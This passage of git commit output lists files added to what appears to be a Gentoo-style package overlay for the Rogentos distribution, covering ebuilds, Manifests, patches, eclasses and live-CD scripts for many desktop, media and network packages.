app-misc/anaconda-runtime/anaconda-runtime-1.1-r1.ebuild create mode 100644 app-misc/anaconda-runtime/anaconda-runtime-1.1-r3.ebuild create mode 100644 app-misc/haguichi/Manifest create mode 100644 app-misc/haguichi/haguichi-1.0.17.ebuild create mode 100644 app-misc/rogentos-live/rogentos-live-1.ebuild create mode 100644 app-misc/rogentos-live/rogentos-live-2-r1.ebuild create mode 100644 app-misc/rogentos-live/rogentos-live-2.ebuild create mode 100644 app-misc/rogentos-skel/Manifest create mode 100644 app-misc/rogentos-skel/rogentos-skel-1.ebuild create mode 100644 app-misc/rogentos-version/Manifest create mode 100644 app-misc/rogentos-version/files/00-sabayon-anti-fork-bomb.conf create mode 100644 app-misc/rogentos-version/rogentos-version-1.ebuild create mode 100644 app-misc/rogentoslive-tools/Manifest create mode 100755 app-misc/rogentoslive-tools/files/1.0/bashlogin create mode 100644 app-misc/rogentoslive-tools/files/1.0/cdeject create mode 100755 app-misc/rogentoslive-tools/files/1.0/installer-gui create mode 100755 app-misc/rogentoslive-tools/files/1.0/installer-text create mode 100755 app-misc/rogentoslive-tools/files/1.0/livecd-functions.sh create mode 100644 app-misc/rogentoslive-tools/files/1.0/livespawn create mode 100755 app-misc/rogentoslive-tools/files/1.0/logscript.sh create mode 100755 app-misc/rogentoslive-tools/files/1.0/net-setup create mode 100755 app-misc/rogentoslive-tools/files/1.0/opengl-activator create mode 100755 app-misc/rogentoslive-tools/files/1.0/rogentos-functions.sh create mode 100755 app-misc/rogentoslive-tools/files/1.0/rogentos-welcome-loader create mode 100644 app-misc/rogentoslive-tools/files/1.0/rogentos-welcome-loader.desktop create mode 100755 app-misc/rogentoslive-tools/files/1.0/rogentoslive create mode 100644 app-misc/rogentoslive-tools/files/1.0/sabayon-live-check create mode 100755 app-misc/rogentoslive-tools/files/1.0/sabutil create mode 100644 app-misc/rogentoslive-tools/files/1.0/vga-cmd-parser create mode 100644 app-misc/rogentoslive-tools/files/1.0/x-setup-configuration create mode 100755 app-misc/rogentoslive-tools/files/1.0/x-setup-init.d create mode 100644 app-misc/rogentoslive-tools/files/1.0/xorg.conf.d/90-fglrx-12.1-and-older-workaround.conf create mode 100644 app-misc/rogentoslive-tools/files/1.0/xorg.conf.d/90-synaptics.conf create mode 100644 app-misc/rogentoslive-tools/files/1.0/xorg.conf.rogentos create mode 100644 app-misc/rogentoslive-tools/files/2/bashlogin create mode 100644 app-misc/rogentoslive-tools/files/2/cdeject create mode 100644 app-misc/rogentoslive-tools/files/2/cdeject.service create mode 100644 app-misc/rogentoslive-tools/files/2/cdeject.sh create mode 100644 app-misc/rogentoslive-tools/files/2/installer-gui create mode 100644 app-misc/rogentoslive-tools/files/2/installer-gui.service create mode 100644 app-misc/rogentoslive-tools/files/2/installer-gui.sh create mode 100644 app-misc/rogentoslive-tools/files/2/installer-text create mode 100644 app-misc/rogentoslive-tools/files/2/installer-text.service create mode 100644 app-misc/rogentoslive-tools/files/2/installer-text.sh create mode 100644 app-misc/rogentoslive-tools/files/2/livecd-functions.sh create mode 100644 app-misc/rogentoslive-tools/files/2/livespawn create mode 100644 app-misc/rogentoslive-tools/files/2/logscript.sh create mode 100644 app-misc/rogentoslive-tools/files/2/net-setup create mode 100644 app-misc/rogentoslive-tools/files/2/rogentos-functions.sh create mode 100644 app-misc/rogentoslive-tools/files/2/rogentos-live-check create mode 100644 app-misc/rogentoslive-tools/files/2/rogentos-welcome-loader create mode 100644 app-misc/rogentoslive-tools/files/2/rogentos-welcome-loader.desktop create mode 100644 app-misc/rogentoslive-tools/files/2/rogentoslive create mode 100644 app-misc/rogentoslive-tools/files/2/rogentoslive.service create mode 100644 app-misc/rogentoslive-tools/files/2/rogentoslive.sh create mode 100644 app-misc/rogentoslive-tools/files/2/sabutil create mode 100644 app-misc/rogentoslive-tools/files/2/vga-cmd-parser create mode 100644 app-misc/rogentoslive-tools/files/2/x-setup-configuration create mode 100644 app-misc/rogentoslive-tools/files/2/x-setup-init.d create mode 100644 app-misc/rogentoslive-tools/files/2/x-setup.service create mode 100644 app-misc/rogentoslive-tools/files/2/x-setup.sh create mode 100644 app-misc/rogentoslive-tools/rogentoslive-tools-1.0-r1.ebuild create mode 100644 app-misc/rogentoslive-tools/rogentoslive-tools-2.ebuild create mode 100644 app-misc/sabayon-mce/Manifest create mode 100644 app-misc/sabayon-mce/files/1.1/bin/sabayon-mce-session create mode 100644 app-misc/sabayon-mce/files/1.1/bin/sabayon-mce-start create mode 100644 app-misc/sabayon-mce/files/1.1/bin/sabayon-mce-startx create mode 100644 app-misc/sabayon-mce/files/1.1/init.d/sabayon-mce create mode 100644 app-misc/sabayon-mce/files/1.1/xsession/sabayon-mce.desktop create mode 100644 app-misc/sabayon-mce/sabayon-mce-1.1-r1.ebuild create mode 100644 app-pda/ifuse/ChangeLog create mode 100644 app-pda/ifuse/Manifest create mode 100644 app-pda/ifuse/ifuse-1.1.2.ebuild create mode 100644 app-pda/ifuse/ifuse-9999.ebuild create mode 100644 app-pda/ifuse/metadata.xml create mode 100644 app-text/evince-light/ChangeLog create mode 100644 app-text/evince-light/Manifest create mode 100644 app-text/evince-light/evince-2.32.0-r3.ebuild create mode 100644 app-text/evince-light/evince-2.32.0-r4.ebuild create mode 100644 app-text/evince-light/evince-3.2.1-r1.ebuild create mode 100644 app-text/evince-light/evince-light-3.4.0.ebuild create mode 100644 app-text/evince-light/files/evince-0.7.1-display-menu.patch create mode 100644 app-text/evince-light/files/evince-2.32.0-create_thumbnail_frame-null.patch create mode 100644 app-text/evince-light/files/evince-2.32.0-desktop-categories.patch create mode 100644 app-text/evince-light/files/evince-2.32.0-dvi-CVEs.patch create mode 100644 app-text/evince-light/files/evince-2.32.0-dvi-security.patch create mode 100644 app-text/evince-light/files/evince-2.32.0-gold.patch create mode 100644 app-text/evince-light/files/evince-2.32.0-libdocument-segfault.patch create mode 100644 app-text/evince-light/files/evince-2.32.0-libview-crash.patch create mode 100644 app-text/evince-light/files/evince-2.32.0-pk-fonts.patch create mode 100644 app-text/evince-light/files/evince-2.32.0-stop-spinner.patch create mode 100644 app-text/evince-light/files/evince-2.32.0-update-poppler.patch create mode 100644 app-text/evince-light/files/evince-2.32.0-use-popup.patch create mode 100644 app-text/evince-light/files/evince-3.2.1-glib-gold.patch create mode 100644 app-text/evince-light/files/evince-3.2.1-libgxps-0.2.patch create mode 100644 app-text/evince-light/files/evince-3.4.0-glib-gold.patch create mode 100644 app-text/evince-light/files/gconf-2.m4 create mode 100644 app-text/evince-light/metadata.xml create mode 100644 app-text/foxitreader/Manifest create mode 100644 app-text/foxitreader/files/foxitreader.desktop create mode 100644 app-text/foxitreader/files/foxitreader.png create mode 100644 app-text/foxitreader/foxitreader-1.1.0.ebuild create mode 100644 app-text/foxitreader/metadata.xml create mode 100644 app-text/xpdf/Manifest create mode 100644 app-text/xpdf/files/xpdf-3.02-poppler-0.16.patch create mode 100644 app-text/xpdf/files/xpdf-3.03-poppler-0.16.patch create mode 100644 app-text/xpdf/xpdf-3.03.ebuild create mode 100644 dev-java/eclipse-ecj/ChangeLog create mode 100644 dev-java/eclipse-ecj/Manifest create mode 100644 dev-java/eclipse-ecj/eclipse-ecj-3.3.0-r3.ebuild create mode 100644 dev-java/eclipse-ecj/eclipse-ecj-3.4-r4.ebuild create mode 100644 dev-java/eclipse-ecj/eclipse-ecj-3.5.2.ebuild create mode 100644 dev-java/eclipse-ecj/eclipse-ecj-3.6.ebuild create mode 100644 dev-java/eclipse-ecj/eclipse-ecj-3.7.1.ebuild create mode 100644 dev-java/eclipse-ecj/eclipse-ecj-3.7.2.ebuild create mode 100644 dev-java/eclipse-ecj/files/eclipse-ecj-3.3.0-gcj.patch create mode 100644 dev-java/eclipse-ecj/metadata.xml create mode 100644 dev-lang/smlnj/Manifest create mode 100644 dev-lang/smlnj/smlnj-110.75.ebuild create mode 100644 dev-python/gdk-pixbuf/GENTOO create mode 100644 dev-python/gdk-pixbuf/Manifest create mode 100644 dev-python/gdk-pixbuf/files/gdk-pixbuf-2.21.4-fix-automagic-x11.patch create mode 100644 dev-python/gdk-pixbuf/gdk-pixbuf-2.24.0-r1.ebuild create mode 100644 dev-python/gdk-pixbuf/metadata.xml create mode 100644 dev-python/pymaxe/Manifest create mode 100644 dev-python/pymaxe/pymaxe-20130303.ebuild create mode 100644 dev-python/pysmbc/Manifest create mode 100644 dev-python/pysmbc/pysmbc-1.0.13.ebuild create mode 100644 dev-python/pyvlc/Manifest create mode 100644 dev-python/pyvlc/pyvlc-1.0.ebuild create mode 100644 dev-python/pyvlc/pyvlc-9999.ebuild create mode 100644 dev-python/qtstatemachine/Manifest create mode 100644 dev-python/qtstatemachine/files/qstatemachines_add_CMake_support.patch_003 create mode 100644 dev-python/qtstatemachine/files/qstatemachines_fix_compound_state.patch_002 create mode 100644 dev-python/qtstatemachine/files/qstatemachines_fix_history.patch_001 create mode 100644 dev-python/qtstatemachine/qtstatemachine-1.1-r1.ebuild create mode 100644 dev-python/qtstatemachine/qtstatemachine-1.1.ebuild create mode 100755 do-artwork-bump.sh create mode 100644 eclass/avahi.eclass create mode 100644 eclass/compat-drivers-3.7.eclass create mode 100644 eclass/compat-drivers-3.8-r1.eclass create mode 100644 eclass/compat-drivers-3.8.eclass create mode 100644 eclass/kde-l10n.eclass create mode 100644 eclass/kogaion-artwork.eclass create mode 100644 eclass/libreoffice-l10n-2.eclass create mode 100644 eclass/libreoffice-l10n.eclass create mode 100644 eclass/openoffice-l10n.eclass create mode 100644 eclass/rogentos-artwork.eclass create mode 100644 eclass/rogentos-kernel.eclass create mode 100644 eclass/sabayon-artwork.eclass create mode 100644 eclass/sabayon-kernel.eclass create mode 100644 eclass/spl-zfs-kernel.eclass create mode 100644 eclass/spl-zfs-userspace.eclass create mode 100644 eclass/transmission-2.51.eclass create mode 100644 eclass/transmission-2.52.eclass create mode 100644 eclass/webapp.eclass create mode 100644 games-emulation/mednafen/ChangeLog create mode 100644 games-emulation/mednafen/Manifest create mode 100644 games-emulation/mednafen/files/mednafen-0.9.21-zlib.patch create mode 100644 games-emulation/mednafen/files/mednafen-0.9.28-automake-1.13.patch create mode 100644 games-emulation/mednafen/files/mednafen-0.9.28-cflags.patch create mode 100644 games-emulation/mednafen/files/mednafen-0.9.28-zlib.patch create mode 100644 games-emulation/mednafen/mednafen-0.9.21.ebuild create mode 100644 games-emulation/mednafen/mednafen-0.9.28.ebuild create mode 100644 games-emulation/mednafen/mednafen/ChangeLog create mode 100644 games-emulation/mednafen/mednafen/Manifest create mode 100644 games-emulation/mednafen/mednafen/files/mednafen-0.9.21-zlib.patch create mode 100644 games-emulation/mednafen/mednafen/files/mednafen-0.9.28-automake-1.13.patch create mode 100644 games-emulation/mednafen/mednafen/files/mednafen-0.9.28-cflags.patch create mode 100644 games-emulation/mednafen/mednafen/files/mednafen-0.9.28-zlib.patch create mode 100644 games-emulation/mednafen/mednafen/mednafen/ChangeLog create mode 100644 games-emulation/mednafen/metadata.xml create mode 100644 games-fps/redeclipse/Manifest create mode 100644 games-fps/redeclipse/redeclipse-1.1.ebuild create mode 100644 games-fps/redeclipse/redeclipse-1.3.1.ebuild create mode 100644 games-strategy/0ad/0ad-11339.ebuild create mode 100644 games-strategy/0ad/0ad-11863.ebuild create mode 100644 games-strategy/0ad/0ad-99999.ebuild create mode 100644 games-strategy/0ad/Manifest create mode 100644 games-strategy/0ad/files/11339_alpha_disable_nvtt.patch create mode 100644 games-strategy/0ad/files/premake-archless.patch create mode 100644 games-strategy/0ad/files/premake-script-archless.patch create mode 100644 games-strategy/0ad/files/r11339_noCUDAdep.diff create mode 100644 games-strategy/dunelegacy/Manifest create mode 100644 games-strategy/dunelegacy/dunelegacy-0.96.2.ebuild create mode 100644 games-strategy/stargus/Manifest create mode 100644 games-strategy/stargus/stargus-2.2.7.ebuild create mode 100644 games-strategy/unknown-horizons/Manifest create mode 100644 games-strategy/unknown-horizons/unknown-horizons-2011.2.ebuild create mode 100644 games-strategy/unknown-horizons/unknown-horizons-2012.1.ebuild create mode 100644 games-strategy/zod-engine/Manifest create mode 100644 games-strategy/zod-engine/files/zod-engine-20110906-proper-linux-support.patch create mode 100644 games-strategy/zod-engine/zod-engine-20110906.ebuild create mode 100644 games-tycoon/LinuxTycoon/LinuxTycoon-1.0.ebuild create mode 100644 games-tycoon/LinuxTycoon/Manifest create mode 100644 gnome-base/gnome-core-apps/ChangeLog create mode 100644 gnome-base/gnome-core-apps/Manifest create mode 100644 gnome-base/gnome-core-apps/gnome-core-apps-3.6.2-r1.ebuild create mode 100644 gnome-base/gnome-core-apps/gnome-core-apps-3.6.2.ebuild create mode 100644 gnome-base/gnome-core-apps/metadata.xml create mode 100644 gnome-base/gnome/ChangeLog create mode 100644 gnome-base/gnome/Manifest create mode 100644 gnome-base/gnome/gnome-2.32.1-r2.ebuild create mode 100644 gnome-base/gnome/gnome-3.4.1.ebuild create mode 100644 gnome-base/gnome/gnome-3.6.2-r1.ebuild create mode 100644 gnome-base/gnome/gnome-3.6.2.ebuild create mode 100644 gnome-base/gnome/metadata.xml create mode 100644 kde-base/oxygen-icons/Manifest create mode 100644 kde-base/oxygen-icons/metadata.xml create mode 100644 kde-base/oxygen-icons/oxygen-icons-4.10.4.ebuild create mode 100644 kde-base/oxygen-icons/oxygen-icons-4.9.0.ebuild create mode 100644 kde-base/oxygen-icons/oxygen-icons-4.9.1.ebuild create mode 100644 kde-base/oxygen-icons/oxygen-icons-4.9.2.ebuild create mode 100644 kde-base/oxygen-icons/oxygen-icons-4.9.3.ebuild create mode 100644 lxde-base/lxdm/Manifest create mode 100644 lxde-base/lxdm/files/lxdm-0.4.1-configure-add-pam.patch create mode 100644 lxde-base/lxdm/files/lxdm-0.4.1-fix-event-check-bug.patch create mode 100644 lxde-base/lxdm/files/lxdm-0.4.1-fix-pam-100-cpu.patch create mode 100644 lxde-base/lxdm/files/lxdm-0.4.1-fix-session-args.patch create mode 100644 lxde-base/lxdm/files/lxdm-0.4.1-git-fix-null-pointer-deref.patch create mode 100644 lxde-base/lxdm/files/lxdm-0.4.1-missing-pam-defines.patch create mode 100644 lxde-base/lxdm/files/lxdm-0.4.1-optional-consolekit.patch create mode 100644 lxde-base/lxdm/files/lxdm-0.4.1-pam-use-system-local-login.patch create mode 100644 lxde-base/lxdm/files/lxdm-0.4.1-pam_console-disable.patch create mode 100644 lxde-base/lxdm/files/lxdm-0.4.1-rogentos-1-theme.patch create mode 100644 lxde-base/lxdm/files/lxdm-0.4.1-rogentos-conf.patch create mode 100644 lxde-base/lxdm/files/lxdm.service create mode 100644 lxde-base/lxdm/files/xinitrc create mode 100644 lxde-base/lxdm/lxdm-0.4.1-r7.ebuild create mode 100644 lxde-base/lxdm/lxdm-0.4.1-r8.ebuild create mode 100644 lxde-base/lxdm/metadata.xml create mode 100644 mail-filter/bogofilter/ChangeLog create mode 100644 mail-filter/bogofilter/Manifest create mode 100644 mail-filter/bogofilter/bogofilter-1.2.2.ebuild create mode 100644 mail-filter/bogofilter/bogofilter-1.2.3.ebuild create mode 100644 mail-filter/bogofilter/files/bogofilter-1.2.2-gcc34.patch create mode 100644 mail-filter/bogofilter/metadata.xml create mode 100644 media-gfx/CodeAnalyst/CodeAnalyst-3.4.18_pre0418.ebuild create mode 100644 media-gfx/CodeAnalyst/Manifest create mode 100644 media-gfx/freecad/Manifest create mode 100644 media-gfx/freecad/files/freecad-0.12.5284-boost148.patch create mode 100644 media-gfx/freecad/files/freecad-0.12.5284-gcc46.patch create mode 100644 media-gfx/freecad/files/freecad-0.12.5284-glu.patch create mode 100644 media-gfx/freecad/files/freecad-0.12.5284-no-3rdParty.patch create mode 100644 media-gfx/freecad/files/freecad-0.12.5284-no-permissive.patch create mode 100644 media-gfx/freecad/files/freecad-0.12.5284-nodir.patch create mode 100644 media-gfx/freecad/files/freecad-0.12.5284-nopivy.patch create mode 100644 media-gfx/freecad/files/freecad-0.12.5284-occ-6.5.5.patch create mode 100644 media-gfx/freecad/files/freecad-0.12.5284-qt3support.patch create mode 100644 media-gfx/freecad/files/freecad-0.12.5284-removeoldswig.patch create mode 100644 media-gfx/freecad/files/freecad-0.12.5284-salomesmesh-occ-6.5.5.patch create mode 100644 media-gfx/freecad/files/freecad-0.13.1830-remove-qt3-support.patch create mode 100644 media-gfx/freecad/freecad-0.12.5284-r2.ebuild create mode 100644 media-gfx/freecad/freecad-0.12.5284-r3.ebuild create mode 100644 media-gfx/freecad/freecad-0.13.1830.ebuild create mode 100644 media-gfx/freecad/freecad-9999.ebuild create mode 100644 media-sound/djplay/Manifest create mode 100644 media-sound/djplay/djplay-0.5.0.ebuild create mode 100644 media-sound/teamspeak-client-bin/ChangeLog create mode 100644 media-sound/teamspeak-client-bin/Manifest create mode 100644 media-sound/teamspeak-client-bin/files/teamspeak3 create mode 100644 media-sound/teamspeak-client-bin/metadata.xml create mode 100644 media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.0_rc1.ebuild create mode 100644 media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.10.ebuild create mode 100644 media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.13.1.ebuild create mode 100644 media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.6.ebuild create mode 100644 media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.8.1.ebuild create mode 100644 media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.9.2.ebuild create mode 100644 media-tv/sopcast-player/Manifest create mode 100644 media-tv/sopcast-player/sopcast-player-0.8.5.ebuild create mode 100644 media-tv/sp-auth/Manifest create mode 100644 media-tv/sp-auth/sp-auth-3.2.6.ebuild create mode 100644 media-tv/xbmc/Manifest create mode 100644 media-tv/xbmc/files/xbmc-10.0-python-2.7.patch create mode 100644 media-tv/xbmc/files/xbmc-10.1-gcc-4.6.patch create mode 100644 media-tv/xbmc/files/xbmc-10.1-headers.patch create mode 100644 media-tv/xbmc/files/xbmc-10.1-libpng-1.5.patch create mode 100644 media-tv/xbmc/files/xbmc-11.0-libpng-1.5.patch create mode 100644 media-tv/xbmc/files/xbmc-11.0-no-exec-stack.patch create mode 100644 media-tv/xbmc/files/xbmc-11.0_beta1-libpng-1.5-fix-plt-trn-get.patch create mode 100644 media-tv/xbmc/files/xbmc-11.0_beta1-libpng-1.5-headers.patch create mode 100644 media-tv/xbmc/files/xbmc-11.0_beta1-libpng-1.5.patch create mode 100644 media-tv/xbmc/files/xbmc-9.11-TexturePacker-parallel-build.patch create mode 100644 media-tv/xbmc/files/xbmc-9.11-jpeg-speedup.patch create mode 100644 media-tv/xbmc/files/xbmc-9.11-libpng14.patch create mode 100644 media-tv/xbmc/files/xbmc-9.11-shader-upscalers.patch create mode 100644 media-tv/xbmc/files/xbmc-9.11-use-cdio-system-headers-on-non-win32.patch create mode 100644 media-tv/xbmc/files/xbmc-9.11-wavpack.patch create mode 100644 media-tv/xbmc/files/xbmc-9999-arm-kill-softfp.patch create mode 100644 media-tv/xbmc/files/xbmc-9999-libpng-1.5-fix-plt-trn-get.patch create mode 100644 media-tv/xbmc/files/xbmc-9999-no-arm-flags.patch create mode 100644 media-tv/xbmc/files/xbmc-9999-no-exec-stack.patch create mode 100644 media-tv/xbmc/files/xbmc-9999-nomythtv.patch create mode 100644 media-tv/xbmc/xbmc-10.1.ebuild create mode 100644 media-tv/xbmc/xbmc-11.0.ebuild create mode 100644 media-tv/xbmc/xbmc-12.0.ebuild create mode 100644 media-video/amdcccle/Manifest create mode 100644 media-video/amdcccle/amdcccle-11.10.ebuild create mode 100644 media-video/amdcccle/amdcccle-11.11.ebuild create mode 100644 media-video/amdcccle/amdcccle-11.12.ebuild create mode 100644 media-video/amdcccle/amdcccle-11.6.ebuild create mode 100644 media-video/amdcccle/amdcccle-11.8.ebuild create mode 100644 media-video/amdcccle/amdcccle-11.9.ebuild create mode 100644 media-video/amdcccle/amdcccle-12.1-r1.ebuild create mode 100644 media-video/amdcccle/amdcccle-12.2.ebuild create mode 100644 media-video/amdcccle/amdcccle-12.3.ebuild create mode 100644 media-video/ffmpeg/Manifest create mode 100644 media-video/ffmpeg/ffmpeg-0.5_p20373.ebuild create mode 100644 media-video/mkvtoolnix-gui/Manifest create mode 100644 media-video/mkvtoolnix-gui/mkvtoolnix-gui-5.0.1.ebuild create mode 100644 media-video/mkvtoolnix/Manifest create mode 100644 media-video/mkvtoolnix/mkvtoolnix-5.0.1.ebuild create mode 100644 media-video/nvidia-settings/Manifest create mode 100644 media-video/nvidia-settings/files/95-nvidia-settings create mode 100644 media-video/nvidia-settings/files/nvidia-autostart.desktop create mode 100644 media-video/nvidia-settings/nvidia-settings-295.33.ebuild create mode 100644 media-video/nvidia-settings/nvidia-settings-295.40.ebuild create mode 100644 media-video/nvidia-settings/nvidia-settings-302.07.ebuild create mode 100644 media-video/nvidia-settings/nvidia-settings-304.22.ebuild create mode 100644 media-video/nvidia-settings/nvidia-settings-304.60.ebuild create mode 100644 media-video/nvidia-settings/nvidia-settings-304.88.ebuild create mode 100644 media-video/nvidia-settings/nvidia-settings-310.19.ebuild create mode 100644 media-video/nvidia-settings/nvidia-settings-313.30.ebuild create mode 100644 media-video/nvidia-settings/nvidia-settings-325.15.ebuild create mode 100644 media-video/tovid/Manifest create mode 100644 media-video/tovid/metadata.xml create mode 100644 media-video/tovid/tovid-0.34.ebuild create mode 100644 media-video/tovid/tovid-0.34_p20120123.ebuild create mode 100644 media-video/tv-maxe/Manifest create mode 100644 media-video/tv-maxe/tv-maxe-0.08.ebuild create mode 100644 media-video/tv-maxe/tv-maxe-0.09.ebuild create mode 100644 media-video/tvmaxe-cli/Manifest create mode 100644 media-video/tvmaxe-cli/tvmaxe-cli-20120906.ebuild create mode 100644 media-video/webcamstudio-module/Manifest create mode 100644 media-video/webcamstudio-module/webcamstudio-module-1.4-r2.ebuild create mode 100644 media-video/webcamstudio-module/webcamstudio-module-1.4-r2.ebuild.save create mode 100644 metadata/layout.conf create mode 100644 net-analyzer/g-wan/g-wan-2012.ebuild create mode 100644 net-analyzer/metasploit/Manifest create mode 100644 net-analyzer/metasploit/metasploit-9999.ebuild create mode 100644 net-misc/hamachi-gui/Manifest create mode 100644 net-misc/hamachi-gui/hamachi-gui-0.9.6.ebuild create mode 100644 net-misc/logmein-hamachi/ChangeLog create mode 100644 net-misc/logmein-hamachi/Manifest create mode 100644 net-misc/logmein-hamachi/files/logmein-hamachi.confd create mode 100644 net-misc/logmein-hamachi/files/logmein-hamachi.initd create mode 100644 net-misc/logmein-hamachi/logmein-hamachi-2.1.0.17.ebuild create mode 100644 net-misc/logmein-hamachi/logmein-hamachi-2.1.0.68-r1.ebuild create mode 100644 net-misc/logmein-hamachi/logmein-hamachi-2.1.0.68.ebuild create mode 100644 net-misc/logmein-hamachi/logmein-hamachi-2.1.0.76-r1.ebuild create mode 100644 net-misc/logmein-hamachi/logmein-hamachi-2.1.0.76.ebuild create mode 100644 net-misc/logmein-hamachi/metadata.xml create mode 100644 net-misc/openssh-x/ChangeLog create mode 100644 net-misc/openssh-x/Manifest create mode 100644 net-misc/openssh-x/files/openssh-4.7_p1-GSSAPI-dns.patch create mode 100644 net-misc/openssh-x/files/openssh-5.2_p1-autoconf.patch create mode 100644 net-misc/openssh-x/files/openssh-5.2_p1-gsskex-fix.patch create mode 100644 net-misc/openssh-x/files/openssh-5.2_p1-x509-hpn-glue.patch create mode 100644 net-misc/openssh-x/files/openssh-5.2p1-ldap-stdargs.diff create mode 100644 net-misc/openssh-x/files/openssh-5.4_p1-openssl.patch create mode 100644 net-misc/openssh-x/files/openssh-5.6_p1-hpn-progressmeter.patch create mode 100644 net-misc/openssh-x/files/openssh-5.6_p1-x509-hpn-glue.patch create mode 100644 net-misc/openssh-x/files/openssh-5.7_p1-x509-hpn-glue.patch create mode 100644 net-misc/openssh-x/files/openssh-5.8_p1-selinux.patch create mode 100644 net-misc/openssh-x/files/openssh-5.8_p1-x509-hpn-glue.patch create mode 100644 net-misc/openssh-x/files/openssh-5.9_p1-drop-openssl-check.patch create mode 100644 net-misc/openssh-x/files/openssh-5.9_p1-sshd-gssapi-multihomed.patch create mode 100644 net-misc/openssh-x/files/openssh-5.9_p1-x509-glue.patch create mode 100644 net-misc/openssh-x/files/openssh-6.0_p1-fix-freebsd-compilation.patch create mode 100644 net-misc/openssh-x/files/openssh-6.0_p1-hpn-progressmeter.patch create mode 100644 net-misc/openssh-x/files/openssh-6.0_p1-test.patch create mode 100644 net-misc/openssh-x/files/openssh-6.0_p1-x509-glue.patch create mode 100644 net-misc/openssh-x/files/openssh-6.0_p1-x509-hpn-glue.patch create mode 100644 net-misc/openssh-x/files/openssh-6.1_p1-x509-glue.patch create mode 100644 net-misc/openssh-x/files/openssh-6.1_p1-x509-hpn-glue.patch create mode 100644 net-misc/openssh-x/files/sshd.confd create mode 100644 net-misc/openssh-x/files/sshd.pam create mode 100644 net-misc/openssh-x/files/sshd.pam_include.2 create mode 100644 net-misc/openssh-x/files/sshd.rc6 create mode 100644 net-misc/openssh-x/files/sshd.rc6.1 create mode 100644 net-misc/openssh-x/files/sshd.rc6.2 create mode 100755 net-misc/openssh-x/files/sshd.rc6.3 create mode 100644 net-misc/openssh-x/files/sshd.service create mode 100644 net-misc/openssh-x/files/sshd.socket create mode 100644 net-misc/openssh-x/files/sshd_at.service create mode 100644 net-misc/openssh-x/metadata.xml create mode 100644 net-misc/openssh-x/openssh-x-6.0_p1-r1.ebuild create mode 100644 net-misc/openssh-x/openssh-x-6.0_p1.ebuild create mode 100644 net-misc/openssh-x/openssh-x-6.1_p1.ebuild create mode 100644 net-misc/teamviewer/Manifest create mode 100644 net-misc/teamviewer/teamviewer-7.0.9310.ebuild create mode 100644 net-misc/teamviewer/teamviewer-7.0.9377.ebuild create mode 100644 net-misc/teamviewer/teamviewer-8.0.16675.ebuild create mode 100644 net-misc/tigervnc/Manifest create mode 100644 net-misc/tigervnc/tigervnc-1.2.0.ebuild create mode 100644 net-misc/udpcast/ChangeLog create mode 100644 net-misc/udpcast/Manifest create mode 100644 net-misc/udpcast/files/udpcast-define.patch create mode 100644 net-misc/udpcast/metadata.xml create mode 100644 net-misc/udpcast/udpcast-20110710.ebuild create mode 100644 net-misc/udpcast/udpcast-20120424.ebuild create mode 100644 net-misc/xdman/Manifest create mode 100644 net-misc/xdman/xdman-1.0.ebuild create mode 100644 net-misc/xrdp/Manifest create mode 100644 net-misc/xrdp/xrdp-9999.ebuild create mode 100644 net-p2p/gnunet-gtk/ChangeLog create mode 100644 net-p2p/gnunet-gtk/Manifest create mode 100644 net-p2p/gnunet-gtk/gnunet-gtk-0.7.3.ebuild create mode 100644 net-p2p/gnunet-gtk/gnunet-gtk-0.8.0.ebuild create mode 100644 net-p2p/gnunet-gtk/gnunet-gtk-0.8.0_pre0.ebuild create mode 100644 net-p2p/gnunet-gtk/gnunet-gtk-0.8.0_pre1.ebuild create mode 100644 net-p2p/gnunet-gtk/gnunet-gtk-0.8.0a.ebuild create mode 100644 net-p2p/gnunet-gtk/gnunet-gtk-0.8.0c.ebuild create mode 100644 net-p2p/gnunet-gtk/gnunet-gtk-0.8.1.ebuild create mode 100644 net-p2p/gnunet-gtk/gnunet-gtk-0.8.1a.ebuild create mode 100644 net-p2p/gnunet-gtk/gnunet-gtk-0.9.0_pre1.ebuild create mode 100644 net-p2p/gnunet-gtk/metadata.xml create mode 100644 net-p2p/gnunet-qt/ChangeLog create mode 100644 net-p2p/gnunet-qt/Manifest create mode 100644 net-p2p/gnunet-qt/gnunet-qt-0.8.1.ebuild create mode 100644 net-p2p/gnunet-qt/gnunet-qt-0.8.1a.ebuild create mode 100644 net-p2p/gnunet/ChangeLog create mode 100644 net-p2p/gnunet/Manifest create mode 100644 net-p2p/gnunet/files/config-daemon.in.patch create mode 100644 net-p2p/gnunet/files/gnunet create mode 100644 net-p2p/gnunet/files/gnunet-0.9.0_pre0-gentoo.patch create mode 100644 net-p2p/gnunet/files/gnunet-0.9.0_pre2-gentoo.patch create mode 100644 net-p2p/gnunet/files/gnunet-2 create mode 100644 net-p2p/gnunet/files/gnunet-download-manager.scm create mode 100644 net-p2p/gnunet/files/gnunet.initd create mode 100644 net-p2p/gnunet/files/gnunet.initd-0.9.0 create mode 100644 net-p2p/gnunet/files/gnunet.initd-0.9.0v2 create mode 100644 net-p2p/gnunet/gnunet-0.7.0b.ebuild create mode 100644 net-p2p/gnunet/gnunet-0.7.0e.ebuild create mode 100644 net-p2p/gnunet/gnunet-0.7.1.ebuild create mode 100644 net-p2p/gnunet/gnunet-0.7.1_pre0.ebuild create mode 100644 net-p2p/gnunet/gnunet-0.7.1a.ebuild create mode 100644 net-p2p/gnunet/gnunet-0.7.1b.ebuild create mode 100644 net-p2p/gnunet/gnunet-0.7.2b.ebuild create mode 100644 net-p2p/gnunet/gnunet-0.7.2c.ebuild create mode 100644 net-p2p/gnunet/gnunet-0.7.3.ebuild create mode 100644 net-p2p/gnunet/gnunet-0.8.0.ebuild create mode 100644 net-p2p/gnunet/gnunet-0.8.0_pre0.ebuild create mode 100644 net-p2p/gnunet/gnunet-0.8.0_pre1.ebuild create mode 100644 net-p2p/gnunet/gnunet-0.8.0a.ebuild create mode 100644 net-p2p/gnunet/gnunet-0.8.0b.ebuild create mode 100644 net-p2p/gnunet/gnunet-0.8.0c.ebuild create mode 100644 net-p2p/gnunet/gnunet-0.8.1-r1.ebuild create mode 100644 net-p2p/gnunet/gnunet-0.8.1.ebuild create mode 100644 net-p2p/gnunet/gnunet-0.8.1a.ebuild create mode 100644 net-p2p/gnunet/gnunet-0.8.1b.ebuild create mode 100644 net-p2p/gnunet/gnunet-0.9.0.ebuild create mode 100644 